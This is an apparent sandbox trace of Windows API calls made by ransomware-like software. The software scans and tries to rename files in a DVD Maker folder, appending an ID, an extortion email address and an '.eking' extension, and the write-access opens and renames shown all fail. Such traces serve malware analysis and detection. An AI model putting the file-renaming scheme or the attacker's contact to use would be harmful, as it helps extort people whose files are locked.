1 [0183.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.447] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=27964) returned 1 [0183.447] CloseHandle (hObject=0x1e0) returned 1 [0183.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png")) returned 0x20 [0183.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png")) returned 0x20 [0183.447] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.448] SetEvent (hEvent=0x174) returned 1 [0183.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.449] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2978) returned 1 [0183.449] CloseHandle (hObject=0x1e0) returned 1 [0183.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png")) returned 0x20 [0183.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png")) returned 0x20 [0183.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.449] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NavigationButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\navigationbuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.450] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3808) returned 1 [0183.450] CloseHandle (hObject=0x1e0) returned 1 [0183.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png")) returned 0x20 [0183.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png")) returned 0x20 [0183.450] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.451] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.453] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3810) returned 1 [0183.453] CloseHandle (hObject=0x1e0) returned 1 [0183.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png")) returned 0x20 [0183.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png")) returned 0x20 [0183.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.454] SetEvent (hEvent=0x174) returned 1 [0183.454] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.455] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3819) returned 1 [0183.455] CloseHandle (hObject=0x1e0) returned 1 [0183.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20 [0183.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png")) returned 0x20 [0183.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.455] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.456] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3133) returned 1 [0183.456] CloseHandle (hObject=0x1e0) returned 1 [0183.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20 [0183.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png")) returned 0x20 [0183.456] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.457] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.457] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3518) returned 1 [0183.458] CloseHandle (hObject=0x1e0) returned 1 [0183.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png")) returned 0x20 [0183.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png")) returned 0x20 [0183.458] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonInset_Alpha2.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttoninset_alpha2.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.458] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.462] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3119) returned 1 [0183.462] CloseHandle (hObject=0x1e0) returned 1 [0183.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png")) returned 0x20 [0183.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png")) returned 0x20 [0183.462] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.463] SetEvent (hEvent=0x174) returned 1 [0183.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.463] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5477696) returned 1 [0183.463] CloseHandle (hObject=0x1e0) returned 1 [0183.464] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0x20 [0183.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.464] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv")) returned 0 [0183.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.465] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=5749696) returned 1 [0183.465] CloseHandle (hObject=0x1e0) returned 1 [0183.465] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0x20 [0183.465] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.465] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv")) returned 0 [0183.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.466] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1829606) returned 1 [0183.466] CloseHandle (hObject=0x1e0) returned 1 [0183.466] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0x20 [0183.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv")) returned 0 [0183.467] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.469] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1837606) returned 1 [0183.469] CloseHandle (hObject=0x1e0) returned 1 [0183.469] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0x20 [0183.469] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.470] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv")) returned 0 [0183.470] SetEvent (hEvent=0x174) returned 1 [0183.470] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.471] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1589606) returned 1 [0183.471] CloseHandle (hObject=0x1e0) returned 1 [0183.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0x20 [0183.471] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.471] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv")) returned 0 [0183.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.472] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1613606) returned 1 [0183.472] CloseHandle (hObject=0x1e0) returned 1 [0183.472] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0x20 [0183.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0183.472] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv")) returned 0 